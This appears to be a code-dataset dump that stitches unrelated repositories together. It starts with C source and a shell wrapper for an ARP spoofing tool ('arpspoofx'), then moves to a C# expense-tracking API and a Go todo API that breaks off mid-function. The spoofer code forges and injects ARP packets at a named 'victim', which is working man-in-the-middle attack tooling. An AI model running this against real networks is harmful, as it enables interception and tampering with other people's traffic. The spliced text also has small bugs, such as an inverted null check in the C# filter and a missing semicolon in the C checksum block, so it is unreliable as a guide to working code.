if (pcap_set_datalink(pcap_inj_hl, DLT_EN10MB) < 0) {
pcap_perror(pcap_inj_hl, "pcap_set_datalink Ethernet II");
pcap_close(pcap_inj_hl);
return EXIT_FAILURE;
}
pcap_listen_hl = pcap_open_live(if_name, 131072, 1, 100, errbuf);
if (pcap_listen_hl == NULL) {
fprintf(stderr, "pcap_open_live: %s\n", errbuf);
cleanup(EXIT_FAILURE - 128);
}
if (pcap_set_datalink(pcap_listen_hl, DLT_EN10MB) < 0) {
pcap_perror(pcap_listen_hl, "pcap_set_datalink Ethernet II");
pcap_close(pcap_listen_hl);
cleanup(EXIT_FAILURE - 128);
}
signal(SIGHUP, cleanup);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
if (pthread_create(&pthd_injector, NULL, injector_start, NULL) < 0) {
perror("pthread_start injector");
return EXIT_FAILURE;
}
if (pthread_create(&pthd_listener, NULL, listener_start, NULL) < 0) {
perror("pthread_create listener");
return EXIT_FAILURE;
}
if (!dyn_targets && pthread_create(&pthd_interval, NULL, interval_start, NULL) < 0) {
perror("pthread_create interval");
return EXIT_FAILURE;
}
for (i = 0; i < n_targets; i++) {
if (pack_queue_put(&send_queue, ARPOP_REQUEST,
&src_mac_addr, src_ip_addr,
&targets[i].mac_addr, targets[i].ip_addr,
NULL, &bcast_addr) < 0) {
return EXIT_FAILURE;
}
}
if (pack_queue_put(&send_queue, ARPOP_REQUEST,
&src_mac_addr, src_ip_addr,
&spoofed_host.mac_addr, spoofed_host.ip_addr,
NULL, &bcast_addr) < 0) {
return EXIT_FAILURE;
}
// wait and clean-up
pthread_join(pthd_injector, NULL);
/* UNREACHABLE */
puts(":D");
return -1;
}
<file_sep>#ifndef _PACKQUEUE_H
#define _PACKQUEUE_H
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <limits.h>
#include <sys/types.h>
#include <pthread.h>
#include <pcap/pcap.h>
#include <netinet/if_ether.h>
#include <netinet/in.h>
#ifndef SEND_QUEUE_SZ
#define SEND_QUEUE_SZ 1024
#endif
extern pcap_t *pcap_handle;
struct pack_item {
uint16_t op;
struct ether_addr src_ha, dst_ha, sha, tha;
struct in_addr spa, tpa;
};
struct pack_queue {
pthread_mutex_t q_mutex; /* The queue mutex */
pthread_cond_t q_cond_get; /* Signaled when get */
pthread_cond_t q_cond_put; /* Signaled when put */
size_t q_front, q_rear, q_size;
struct pack_item *q_items;
};
extern int pack_queue_init(struct pack_queue *q);
#define is_pack_queue_alive(q) ((q)->q_items != NULL)
extern int pack_queue_get(struct pack_queue *q, struct pack_item *request);
extern int pack_queue_put(struct pack_queue *q, const uint16_t op,
const struct ether_addr *sha, const struct in_addr spa,
const struct ether_addr *tha, const struct in_addr tpa,
const struct ether_addr *src_ha, const struct ether_addr *dst_ha);
extern int pack_queue_terminate(struct pack_queue *q);
extern int pack_queue_destroy(struct pack_queue *q);
#endif
<file_sep>#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <limits.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <netinet/in_systm.h>
#include <netinet/if_ether.h>
#include <arpa/inet.h>
#include <pcap.h>
#include "lnetutils.h"
int get_pri_gw (const char *iface, struct in_addr *gw_addr) {
/* FIXME could have been much better */
char linebuf[1024], *saveptr;
long closest_metric = LONG_MAX, metric; in_addr_t closest_addr = 0; uint32_t mask, addr;
const char *e_if, *e_dst, *e_gw, *e_metric, *e_mask;
FILE *rf;
int i;
rf = fopen("/proc/net/route", "r");
if (rf == NULL)
return -1;
while (fgets(linebuf, sizeof(linebuf) / sizeof(*linebuf), rf) != NULL) {
e_if = strtok_r(linebuf, " \t", &saveptr);
if (e_if == NULL || strcmp (e_if, iface) != 0) continue; // must be the selected iface
e_dst = strtok_r(NULL, " \t", &saveptr);
if (e_dst == NULL || strcmp (e_dst, "Destination") == 0) continue; // exclude header
e_gw = strtok_r(NULL, " \t", &saveptr);
if (e_gw == NULL || (addr = strtoul(e_gw, NULL, 16)) == 0x00000000) continue; // must have a gateway address
for (i = 0; i < 3 && strtok_r(NULL, " \t", &saveptr) != NULL; i++); // skip three fields
if (i < 3) continue;
e_metric = strtok_r(NULL, " \t", &saveptr);
if (e_metric == NULL) continue;
e_mask = strtok_r(NULL, " \t", &saveptr);
if (e_mask == NULL || (mask = strtoul(e_mask, NULL, 16)) != 0x00000000) continue; // must be the default gateway (/32)
metric = strtoul(e_metric, NULL, 10);
if (closest_addr == 0 || closest_metric >= metric) { // choose the closest one
closest_metric = metric;
closest_addr = addr; // converted already in the output
}
}
fclose(rf);
if (closest_addr == 0) {
errno = ENOENT;
return -2;
}
gw_addr->s_addr = closest_addr;
return 0;
}
int get_if_addr(const char *iface, struct ether_addr *mac_addr, struct in_addr *ip_addr) {
struct ifreq it;
int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP);
if (sock == -1) return -1;
strncpy(it.ifr_name, iface, IFNAMSIZ);
if (ioctl(sock, SIOCGIFHWADDR, &it) < 0)
return -1;
memcpy (mac_addr->ether_addr_octet, it.ifr_hwaddr.sa_data, ETHER_ADDR_LEN);
strncpy(it.ifr_name, iface, IFNAMSIZ);
if (ioctl(sock, SIOCGIFADDR, &it) < 0)
return -1;
memcpy (ip_addr, &((struct sockaddr_in *)&it.ifr_addr)->sin_addr, sizeof(struct in_addr));
return 0;
}
int arp_send(pcap_t *p, uint16_t op,
const struct ether_addr *sha, struct in_addr spa,
const struct ether_addr *tha, struct in_addr tpa,
const struct ether_addr *src_ha, const struct ether_addr *dst_ha) {
struct ether_arp_frame frame = {{{0}}};
memcpy(&frame.ehdr.ether_dhost, dst_ha == NULL ? tha : dst_ha, ETHER_ADDR_LEN);
memcpy(&frame.ehdr.ether_shost, src_ha == NULL ? sha : src_ha, ETHER_ADDR_LEN);
frame.ehdr.ether_type = htons(ETHERTYPE_ARP);
frame.ahdr.ar_hrd = htons(ARPHRD_ETHER);
frame.ahdr.ar_pro = htons(ETHERTYPE_IP);
frame.ahdr.ar_hln = ETHER_ADDR_LEN;
frame.ahdr.ar_pln = sizeof(in_addr_t);
frame.ahdr.ar_op = htons(op);
memcpy(&frame.arp_sha, sha, ETHER_ADDR_LEN);
memcpy(&frame.arp_spa, &spa, sizeof(in_addr_t));
memcpy(&frame.arp_tha, tha, ETHER_ADDR_LEN);
memcpy(&frame.arp_tpa, &tpa, sizeof(in_addr_t));
#ifdef FCS_REQUIRED
{
uint32_t chk;
chk = htonl(crc32(0u, &frame, sizeof(frame) - 4));
memcpy(&frame.eth_chksum, &chk, 4)
}
#endif
return pcap_inject(p, &frame, sizeof(frame)) < 0;
}
#if 0
/* unused function */
int arp_search (struct in_addr ip_addr, struct ether_addr *mac_addr) {
// TODO Cross-platform interoperability (too Linux-specific)
int tries, sock, err;
struct arpreq ar = {{0}};
struct sockaddr_in *const ar_in = (struct sockaddr_in *)&ar.arp_pa;
struct sockaddr_in sa_in = {0};
sa_in.sin_family = AF_INET;
sa_in.sin_addr = ip_addr;
sa_in.sin_port = htons(67);
if ((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
return -1;
for (tries = 0; tries < 3; tries++) {
ar_in->sin_family = AF_INET;
ar_in->sin_addr = ip_addr;
ar_in->sin_port = htons(0);
if (ioctl(sock, SIOCGARP, (caddr_t) &ar) >= 0) {
// Success!
close(sock);
memcpy(mac_addr->ether_addr_octet, ar.arp_ha.sa_data, ETHER_ADDR_LEN);
return 0;
}
// FIXME Linux-specific hack to force the kernel to resolve the address..
// XXX Does this actually send an UDP packet?
if (sendto(sock, NULL, 0, 0, (const struct sockaddr *)&sa_in, sizeof(sa_in)) < 0) {
err = errno;
if (close(sock) >= 0)
errno = err;
return -1;
}
sleep(1);
}
err = errno;
if (close(sock) >= 0)
errno = err;
return -1;
}
#endif
void print_arp_packet (const struct ether_arp_frame *pkt_data) {
const size_t strbuf_len = 1023;
char strbuf[1023 + 1] = "";
strncpy(strbuf, "Received ARP: ?", strbuf_len);
ether_ntoa_r((const struct ether_addr *)&pkt_data->ehdr.ether_shost, strbuf + strlen(strbuf) - 1);
strncat(strbuf, " -> ?", strbuf_len);
ether_ntoa_r((const struct ether_addr *)&pkt_data->ehdr.ether_dhost, strbuf + strlen(strbuf) - 1);
if (ntohs(pkt_data->ahdr.ar_op) == ARPOP_REQUEST) {
strncat(strbuf, ", who is ?", strbuf_len);
inet_ntop(AF_INET, &pkt_data->arp_tpa, strbuf + strlen(strbuf) - 1, INET_ADDRSTRLEN);
strncat(strbuf, " (maybe ?", strbuf_len);
ether_ntoa_r((const struct ether_addr *)&pkt_data->arp_tha, strbuf + strlen(strbuf) - 1);
strncat(strbuf, ")? tell ?", strbuf_len);
inet_ntop(AF_INET, &pkt_data->arp_spa, strbuf + strlen(strbuf) - 1, INET_ADDRSTRLEN);
strncat(strbuf, " (?", strbuf_len);
ether_ntoa_r((const struct ether_addr *)&pkt_data->arp_sha, strbuf + strlen(strbuf) - 1);
strncat(strbuf, ")", strbuf_len);
} else if (ntohs(pkt_data->ahdr.ar_op) == ARPOP_REPLY) {
strncat(strbuf, ", hey ?", strbuf_len);
inet_ntop(AF_INET, &pkt_data->arp_tpa, strbuf + strlen(strbuf) - 1, INET_ADDRSTRLEN);
strncat(strbuf, " (?", strbuf_len);
ether_ntoa_r((const struct ether_addr *)&pkt_data->arp_tha, strbuf + strlen(strbuf) - 1);
strncat(strbuf, "), I (?", strbuf_len);
inet_ntop(AF_INET, &pkt_data->arp_spa, strbuf + strlen(strbuf) - 1, INET_ADDRSTRLEN);
strncat(strbuf, ") am at ?", strbuf_len);
ether_ntoa_r((const struct ether_addr *)&pkt_data->arp_sha, strbuf + strlen(strbuf) - 1);
strncat(strbuf, ".", strbuf_len);
} else strncat(strbuf, ", unkn", strbuf_len);
puts(strbuf);
}
uint32_t calc_ipv4_chksum (const struct iphdr *header) {
size_t i, l = header->ihl * 4;
uint32_t sum = 0;
for (i = 0; i < l; i += 2)
if (i != 10)
sum += ntohs(((const uint16_t *)header)[i]);
return ~((sum & 0xffff) + ((sum >> 16) & 0xf));
}
<file_sep>#ifndef _LNETUTILS_H
#define _LNETUTILS_H
#include <sys/types.h>
#include <sys/param.h>
#include <netinet/if_ether.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <pcap/pcap.h>
struct ether_arp_frame {
struct ether_header ehdr;
struct arphdr ahdr;
uint8_t arp_sha[ETHER_ADDR_LEN];
uint8_t arp_spa[4];
uint8_t arp_tha[ETHER_ADDR_LEN];
uint8_t arp_tpa[4];
#ifdef FCS_REQUIRED
uint32_t eth_chksum;
#endif
} __attribute__ ((__packed__));
extern int get_pri_gw (const char *iface, struct in_addr *gw_addr);
extern int get_if_addr (const char *iface, struct ether_addr *mac_addr, struct in_addr *ip_addr);
extern int arp_send(pcap_t *p, uint16_t op,
const struct ether_addr *sha, struct in_addr spa,
const struct ether_addr *tha, struct in_addr tpa,
const struct ether_addr *src_ha, const struct ether_addr *dst_ha);
// extern int arp_search (struct in_addr ip_addr, struct ether_addr *ether_addr);
extern void print_arp_packet (const struct ether_arp_frame *pkt_data);
extern uint32_t calc_ipv4_chksum (const struct iphdr *header);
#endif
<file_sep>#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <limits.h>
#include <sys/types.h>
#include <pthread.h>
#include <pcap/pcap.h>
#include <errno.h>
#include "packqueue.h"
// non thread-safe
int pack_queue_init(struct pack_queue *q) {
pthread_mutexattr_t attr;
q->q_front = 0;
q->q_rear = 0;
q->q_size = SEND_QUEUE_SZ;
q->q_items = calloc(q->q_size, sizeof(struct pack_item));
if (q->q_items == NULL)
return -1;
if (pthread_mutexattr_init(&attr) < 0)
return -1;
if (pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_ERRORCHECK_NP) < 0)
return -1;
if (pthread_mutex_init(&q->q_mutex, &attr) < 0)
return -1;
if (pthread_mutexattr_destroy(&attr) < 0)
return -1;
if (pthread_cond_init(&q->q_cond_get, NULL) < 0)
return -1;
if (pthread_cond_init(&q->q_cond_put, NULL) < 0)
return -1;
return 0;
}
#ifdef QUEUE_DEBUG
static void report_queue(const struct pack_queue *q) {
printf("CAP=%lu, FRONT=%lu, REAR=%lu\n", q->q_size, q->q_front, q->q_rear);
}
#endif
int pack_queue_get(struct pack_queue *q, struct pack_item *request) {
if (!is_pack_queue_alive(q)) {
// Uninitialized / terminated
errno = EINVAL;
return -1;
}
if (pthread_mutex_lock(&q->q_mutex) < 0)
return -1;
#ifdef QUEUE_DEBUG
puts("pack_queue_get: mutex acquired");
#endif
while (q->q_front % q->q_size == q->q_rear % q->q_size) {
#ifdef QUEUE_DEBUG
report_queue(q);
puts("pack_queue_get: waiting for an item");
#endif
if (pthread_cond_wait(&q->q_cond_put, &q->q_mutex) < 0)
return -1;
}
if (!is_pack_queue_alive(q)) {
// Uninitialized / terminated
pthread_mutex_unlock(&q->q_mutex);
errno = EINVAL;
return -1;
}
#ifdef QUEUE_DEBUG
puts("pack_queue_get: copying request for caller");
#endif
memcpy(request, &q->q_items[q->q_rear], sizeof(struct pack_item));
q->q_rear = (q->q_rear + 1) % q->q_size;
pthread_cond_broadcast(&q->q_cond_get);
if (pthread_mutex_unlock(&q->q_mutex) < 0)
return -1;
#ifdef QUEUE_DEBUG
puts("pack_queue_get: mutex released");
#endif
return 0;
}
int pack_queue_put(struct pack_queue *q, uint16_t op,
const struct ether_addr *sha, const struct in_addr spa,
const struct ether_addr *tha, const struct in_addr tpa,
const struct ether_addr *src_ha, const struct ether_addr *dst_ha) {
struct pack_item *ptr;
if (!is_pack_queue_alive(q)) {
// Uninitialized / terminated
errno = EINVAL;
return -1;
}
if (pthread_mutex_lock(&q->q_mutex) < 0)
return -1;
/* Wait for the queue to be empty - the processor thread always signals */
while ((q->q_front + 1) % q->q_size == q->q_rear % q->q_size) {
if (pthread_cond_wait(&q->q_cond_get, &q->q_mutex) < 0)
return -1;
}
if (!is_pack_queue_alive(q)) {
// Uninitialized / terminated
pthread_mutex_unlock(&q->q_mutex);
errno = EINVAL;
return -1;
}
ptr = &q->q_items[q->q_front];
ptr->op = op;
memcpy(&ptr->src_ha, src_ha == NULL ? sha : src_ha, sizeof(struct ether_addr));
memcpy(&ptr->dst_ha, dst_ha == NULL ? tha : dst_ha, sizeof(struct ether_addr));
memcpy(&ptr->sha, sha, sizeof(struct ether_addr));
memcpy(&ptr->tha, tha, sizeof(struct ether_addr));
memcpy(&ptr->spa, &spa, sizeof(struct in_addr));
memcpy(&ptr->tpa, &tpa, sizeof(struct in_addr));
q->q_front = (q->q_front + 1) % q->q_size;
pthread_cond_broadcast(&q->q_cond_put);
if (pthread_mutex_unlock(&q->q_mutex) < 0)
return -1;
return 0;
}
int pack_queue_terminate(struct pack_queue *q) {
void *ptr;
if (pthread_mutex_lock(&q->q_mutex) < 0)
return -1;
/* only when not terminated yet */
if (is_pack_queue_alive(q)) {
q->q_front = 0;
q->q_rear = 0;
q->q_size = 0;
ptr = (void *) q->q_items;
q->q_items = NULL;
free(ptr);
// Signal all relavant threads
pthread_cond_broadcast(&q->q_cond_get);
pthread_cond_broadcast(&q->q_cond_put);
}
if (pthread_mutex_unlock(&q->q_mutex) < 0)
return -1;
return 0;
}
// non thread-safe
int pack_queue_destroy(struct pack_queue *q) {
if (q->q_items)
pack_queue_terminate(q);
pthread_cond_destroy(&q->q_cond_get);
pthread_cond_destroy(&q->q_cond_put);
pthread_mutex_destroy(&q->q_mutex);
return 0;
}
<file_sep>#!/bin/sh
if [ "$#" -lt 1 ] || [ "$#" -gt 2 ]; then
echo "usage: $0 <victim> [spoof]" >&2
exit 1
fi
if [ -n "$2" ]; then
./arpspoofx -e both -vt "$1" "$2"
else
./arpspoofx -e both -vt "$1"
fi
| a1e9df2aae3a4ac9b459038a8375b8a7c64d462c | [
"Markdown",
"C",
"Makefile",
"Shell"
] | 9 | C | iamahuman/bob5-send_arp | 937fa5ba842d319bf2506060d3a9221b1c5ef27b | 70e4229456cadd453b54689ad271688e0fa99bf5 |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
namespace DailyExpenseRui.ViewModel
{
public class FilterViewModel
{
public string ExpenseName { get; set; }
public List<string> CategoryNames { get; set; }
public double? MinCost { get; set; }
public double? MaxCost { get; set; }
public DateTime StartDate { get; set; }
public DateTime EndDate { get; set; }
}
}
<file_sep>using System;
using Microsoft.EntityFrameworkCore;
using DailyExpenseRui.Models;
namespace DailyExpenseRui.Data
{
public class ExpenseContext:DbContext
{
public ExpenseContext(DbContextOptions<ExpenseContext> options) : base(options)
{
}
public DbSet<Expense> Expenses { get; set; }
public DbSet<Category> Categories { get; set; }
protected override void OnModelCreating(ModelBuilder modelBuilder)
{
modelBuilder.Entity<Expense>().ToTable("Expense");
modelBuilder.Entity<Category>().ToTable("Category");
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using DailyExpenseRui.ViewModel;
namespace DailyExpenseRui.Services
{
public interface IExpenseService
{
ExpenseViewModel AddExpense(ExpenseViewModel expense);
List<ExpenseViewModel> GetAll();
ExpenseViewModel GetByID(int id);
void Delete(int id);
ExpenseViewModel Update(ExpenseViewModel expense);
List<ExpenseViewModel> GetFilterResult(FilterViewModel filter);
}
}
<file_sep>using System;
namespace DailyExpenseRui.Controllers
{
public class CategoryController
{
public CategoryController()
{
}
}
}
<file_sep>using System;
using System.Collections.Generic;
namespace DailyExpenseRui.Models
{
public class Expense
{
public int ID { get; set; }
public string Name { get; set; }
public double Cost { get; set; }
public DateTime Date { get; set; }
public string Notes { get; set; } // not required
public int CategoryID { get; set; }
public Category Category { get; set; }
}
}
<file_sep>using System;
using System.Linq;
using DailyExpenseRui.Models;
namespace DailyExpenseRui.Data
{
public class DbInitializer
{
public static void Initialize(ExpenseContext context)
{
context.Database.EnsureCreated();
// Look for any students.
if (context.Expenses.Any())
{
return; // DB has been seeded
}
var expenseList = new Expense[]
{
new Expense{Name="Carson",Cost=2.5,Notes="Carson",Date=DateTime.Parse("2005-09-01"),CategoryID=1},
new Expense{Name="Meredith",Cost=2.5,Notes="Alonso",Date=DateTime.Parse("2002-09-01"),CategoryID=1},
new Expense{Name="Arturo",Cost=2.5,Notes="Anand",Date=DateTime.Parse("2003-09-01"),CategoryID=2},
new Expense{Name="Gytis",Cost=2.5,Notes="Barzdukas",Date=DateTime.Parse("2002-09-01"),CategoryID=1}
};
foreach (Expense e in expenseList)
{
context.Expenses.Add(e);
}
context.SaveChanges();
var categories = new Category[]
{
new Category{Name="Shopping"},
new Category{Name="Petrol"}
};
foreach (Category c in categories)
{
context.Categories.Add(c);
}
context.SaveChanges();
}
}
}
<file_sep>using System;
using System.Threading.Tasks;
using DailyExpenseRui.Data;
using DailyExpenseRui.Models;
using DailyExpenseRui.Services;
using DailyExpenseRui.ViewModel;
using Microsoft.AspNetCore.Mvc;
namespace DailyExpenseRui.Controllers
{
[ApiController]
[Route("[controller]")]
public class ExpenseController : ControllerBase
{
private readonly IExpenseService expenseService;
public ExpenseController(IExpenseService expenseService)
{
this.expenseService = expenseService;
}
// POST: expense
[HttpPost]
public IActionResult Create(ExpenseViewModel expense)
{
try
{
var result = expenseService.AddExpense(expense);
return Ok(result);
}
catch(Exception ex)
{
return BadRequest(ex.Message);
}
}
// GET: expense
[HttpGet]
public IActionResult GetAll()
{
var result = expenseService.GetAll();
return Ok(result);
}
// GET: expense/id
[HttpGet("{id}")]
public IActionResult GetByID(int id)
{
var result = expenseService.GetByID(id);
if (result == null)
{
return NotFound("This expense record is not found");
}
return Ok(result);
}
// DELETE: expense/id
[HttpDelete("{id}")]
public IActionResult Delete(int id)
{
expenseService.Delete(id);
return Ok();
}
// PUT: expense
[HttpPut]
public IActionResult Update(ExpenseViewModel expense)
{
try
{
var result = expenseService.Update(expense);
return Ok(result);
}
catch(Exception ex)
{
return StatusCode(500, ex.Message);
//return BadRequest(ex.Message);
}
}
// GET:
[HttpPost("filter")]
public IActionResult GetFilterResult(FilterViewModel filter)
{
try
{
var result = expenseService.GetFilterResult(filter);
return Ok(result);
}
catch(Exception ex)
{
return BadRequest(ex.Message);
}
}
}
}
<file_sep>using System;
namespace DailyExpenseRui.ViewModel
{
public class ExpenseViewModel
{
public int ID { get; set; }
public string Name { get; set; }
public DateTime Date { get; set; }
public double Cost { get; set; }
public string Notes { get; set; }
public string CategoryName { get; set; }
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using DailyExpenseRui.Data;
using DailyExpenseRui.Models;
using DailyExpenseRui.ViewModel;
using Microsoft.EntityFrameworkCore;
namespace DailyExpenseRui.Services
{
public class ExpenseService : IExpenseService
{
private ExpenseContext context;
public ExpenseService(ExpenseContext context)
{
this.context = context;
}
public ExpenseViewModel AddExpense(ExpenseViewModel expense)
{
var category = GetCategory(expense.CategoryName);
if (category == null)
{
throw new Exception("There is no such category name");
}
var expenseEntity = new Expense()
{
Name = expense.Name,
Cost = expense.Cost,
Date = expense.Date,
CategoryID = category.ID
};
context.Expenses.Add(expenseEntity);
context.SaveChanges();
expense.ID = expenseEntity.ID;
return expense;
}
public List<ExpenseViewModel> GetAll()
{
var expenseList = context.Expenses
.Include(e => e.Category)
.Select(e => new ExpenseViewModel()
{
ID = e.ID,
Name = e.Name,
Cost = e.Cost,
Notes = e.Notes,
//CategoryName = context.Categories.FirstOrDefault(c => c.ID == e.CategoryID).Name
CategoryName = e.Category.Name
}).ToList();
return expenseList;
}
public ExpenseViewModel GetByID(int id)
{
var expense = context.Expenses
.Where(e => e.ID == id)
.Include(e => e.Category)
.FirstOrDefault();
if (expense == null)
{
//throw new Exception("The expense is not found.");
return null;
}
var result = new ExpenseViewModel()
{
ID = expense.ID,
Name = expense.Name,
CategoryName = expense.Category.Name,
Notes = expense.Notes,
Date = expense.Date
};
return result;
}
public void Delete(int id)
{
var expense = context.Expenses
.Where(e => e.ID == id)
.Include(e => e.Category)
.FirstOrDefault();
context.Expenses.Remove(expense);
context.SaveChanges();
}
public ExpenseViewModel Update(ExpenseViewModel expense)
{
var expenseEntity = context.Expenses
.Where(e => e.ID == expense.ID)
.FirstOrDefault();
if (expenseEntity == null)
{
throw new ArgumentException("Cannot find this expense record.");
}
var category = GetCategory(expense.CategoryName);
if (category == null)
{
throw new ArgumentException("This category name does not exsit.");
}
expenseEntity.Name = expense.Name;
expenseEntity.CategoryID = category.ID;
expenseEntity.Cost = expense.Cost;
expenseEntity.Date = expense.Date;
expenseEntity.Notes = expense.Notes;
//context.Expenses.Update(expenseEntity);
context.SaveChanges();
return expense;
}
private Category GetCategory(string name)
{
return context.Categories
.Where(c => c.Name == name)
.FirstOrDefault();
}
public List<ExpenseViewModel> GetFilterResult(FilterViewModel filter)
{
// null check
if (filter == null)
{
return null;
}
var query = context.Expenses.Select(e => e);
if(string.IsNullOrEmpty(filter.ExpenseName))
{
query = query.Where(e => e.Name.Contains(filter.ExpenseName));
}
if(filter.StartDate != null)
{
query = query.Where(e => e.Date >= filter.StartDate);
}
if(filter.EndDate != null)
{
query = query.Where(e => e.Date <= filter.EndDate);
}
if(filter.CategoryNames != null && filter.CategoryNames.Count > 0)
{
query = query.Where(e => filter.CategoryNames.Contains(e.Category.Name));
}
if(filter.MaxCost.HasValue)
{
query = query.Where(e => e.Cost <= filter.MaxCost.Value);
}
if (filter.MinCost.HasValue)
{
query = query.Where(e => e.Cost >= filter.MinCost.Value);
}
return query.Select(e => new ExpenseViewModel()
{
Name = e.Name,
ID = e.ID,
CategoryName = e.Category.Name,
Cost = e.Cost,
Date = e.Date,
Notes = e.Notes
}).ToList();
}
}
}
| 632fce57778372e838a9214fa7b81ed0da1b0a55 | [
"C#"
] | 9 | C# | GdayRui/expense-server | 0b470727e7adef95141bd477bb8fce89c67dc2bd | de6ac5ed420ce778a8fa6d7508bda853d3a5abb0 |
refs/heads/master | <file_sep>package main
import (
"github.com/gin-gonic/gin"
"ueirt/service"
)
func main() {
router := gin.Default()
v1 := router.Group("api/v1")
{
v1.POST("", service.CreateTodo)
v1.GET("", service.GetAllTodo)
v1.GET(":id", service.GetTodoById)
v1.PUT(":id", service.UpdateTodo)
v1.DELETE(":id", service.DeleteTodo)
}
router.Run(":8080")
}
<file_sep>package model
type Todo struct {
Id int `db:"id" json:"id"`
Title string `db:"title" json:"title"`
Content string `db:"content" json:"content"`
}
type TodoRequest struct {
Title string `valid:"Required"`
Content string `valid:"Required"`
}
<file_sep>package middleware
import (
"fmt"
"github.com/gin-gonic/gin"
"net/http"
"ueirt/model"
)
func RecoveryHandler(c *gin.Context, err interface{}) {
fmt.Print("GOTO RecoveryHandler RecoveryHandler RecoveryHandler")
appGin := &model.Gin{C: c}
if err != nil {
switch err.(type) {
case model.ApiError:
apiError := err.(model.ApiError)
appGin.ToErrorResponse(apiError.Status, apiError.Message, apiError.Err)
default:
appGin.ToErrorResponse(http.StatusInternalServerError, "Unexpected error", err)
}
}
}
<file_sep>package db
import (
"github.com/go-gorp/gorp"
"log"
"net/http"
"ueirt/model"
)
import "database/sql"
import _ "github.com/go-sql-driver/mysql"
var dbMap = initDb()
func initDb() *gorp.DbMap {
db, err := sql.Open("mysql", "root:root@tcp(localhost:3306)/ueirt")
if err != nil {
log.Fatal("Failed to connect database", err)
}
dbMap := &gorp.DbMap{Db: db, Dialect: gorp.MySQLDialect{Engine: "InnoDb", Encoding: "UTF8"}}
return dbMap
}
func SelectAllTodo() ([]model.Todo, error) {
var todoList []model.Todo
if _, err := dbMap.Select(&todoList, "select * from todo"); err != nil {
return nil, model.ApiError{Status: http.StatusInternalServerError, Message: "Failed to select database", Err: err}
}
return todoList, nil
}
func GetTodoById(id string) (interface{}, error) {
var todo model.Todo
if err := dbMap.SelectOne(&todo, "select * from ueirt.todo where id = ?", id); err != nil {
return nil, model.ApiError{Status: http.StatusNotFound, Message: "Todo not found", Err: err}
}
return todo, nil
}
func InsertNewTodo(todo model.TodoRequest) (int64, error) {
insert, err := dbMap.Exec("INSERT INTO ueirt.todo (title, content) VALUES (?, ?)", todo.Title, todo.Content)
if err != nil {
return 0, model.ApiError{Status: http.StatusInternalServerError, Message: "Failed to insert database", Err: err}
}
id, err := insert.LastInsertId()
if err != nil {
return 0, model.ApiError{Status: http.StatusInternalServerError, Message: "Failed to get LastInsertId", Err: err}
}
return id, nil
}
func UpdateTodo(todoId int, todo model.TodoRequest) (int64, error) {
result, err := dbMap.Exec("UPDATE ueirt.todo set title = ?, content =? where id=?", todo.Title, todo.Content, todoId)
if err != nil {
return 0, model.ApiError{Status: http.StatusInternalServerError, Message: "Failed to update todo to database", Err: err}
}
rowsAffected, err := result.RowsAffected()
if rowsAffected <= 0 {
return 0, model.ApiError{Status: http.StatusNotFound, Message: "Todo not found.", Err: err}
}
if err != nil {
return 0, model.ApiError{Status: http.StatusInternalServerError, Message: "Failed to get updated todo", Err: err}
}
return int64(todoId), nil
}
func DeleteTodo(todoId int) error {
result, err := dbMap.Exec("DELETE FROM ueirt.todo where id=?", todoId)
if err != nil {
return model.ApiError{Status: http.StatusInternalServerError, Message: "Failed to delete todo", Err: err}
}
rowsAffected, err := result.RowsAffected()
if rowsAffected <= 0 {
return model.ApiError{Status: http.StatusNotFound, Message: "Todo not found.", Err: err}
}
if err != nil {
return model.ApiError{Status: http.StatusInternalServerError, Message: "Failed to get updated todo", Err: err}
}
return nil
}
<file_sep>package model
import (
"github.com/gin-gonic/gin"
"net/http"
)
type Gin struct {
C *gin.Context
}
type ApiError struct {
Status int
Message string
Err error
}
func (e ApiError) Error() string {
return e.Message + ": " + e.Err.Error()
}
func (g *Gin) ToErrorResponse(httpStatus int, message string, obj interface{}) {
g.C.JSON(httpStatus, gin.H{"message": message, "error": obj})
}
func (g *Gin) ResponseFromApiError(apiError ApiError) {
g.C.JSON(apiError.Status, gin.H{"message": apiError.Message, "error": apiError.Err})
}
func (g *Gin) ResponseFromError(err error) {
switch err.(type) {
case ApiError:
apiError := err.(ApiError)
g.ResponseFromApiError(apiError)
default:
g.C.JSON(http.StatusInternalServerError, gin.H{"message": "Unexpected error", "error": err})
}
}
<file_sep>module ueirt
go 1.15
require (
github.com/astaxie/beego v1.12.2
github.com/gin-gonic/gin v1.6.3
github.com/go-gorp/gorp v1.7.2
github.com/go-sql-driver/mysql v1.5.0
github.com/lib/pq v1.8.0 // indirect
github.com/ziutek/mymysql v1.5.4 // indirect
)
<file_sep>package middleware
import (
"math"
"testing"
)
func TestPass(t *testing.T) {
got := math.Abs(-1)
expected := float64(1)
if got != expected {
t.Errorf("Abs(-1) = %v; want %v", got, expected)
}
}
func TestFail(t *testing.T) {
got := math.Abs(-1)
expected := float64(2)
if got != expected {
t.Errorf("Abs(-1) = %v; want %v", got, expected)
}
}
<file_sep>package service
import (
"github.com/astaxie/beego/validation"
"github.com/gin-gonic/gin"
"net/http"
"strconv"
"ueirt/db"
"ueirt/model"
)
func CreateTodo(context *gin.Context) {
appGin := &model.Gin{C: context}
var body model.TodoRequest
if err := context.Bind(&body); err != nil {
appGin.ToErrorResponse(http.StatusBadRequest, "Invalid request body!", err)
return
}
val := validation.Validation{}
ok, _ := val.Valid(&body)
if !ok {
appGin.ToErrorResponse(http.StatusBadRequest, "Invalid request body.", val.Errors)
return
}
id, err := db.InsertNewTodo(body)
if err != nil {
appGin.ResponseFromError(err)
return
}
context.JSON(http.StatusCreated, gin.H{"id": id, "message": "Todo item created successfully!"})
}
func GetAllTodo(context *gin.Context) {
todoList, err := db.SelectAllTodo()
if err != nil {
appGin := &model.Gin{C: context}
appGin.ResponseFromError(err)
return
}
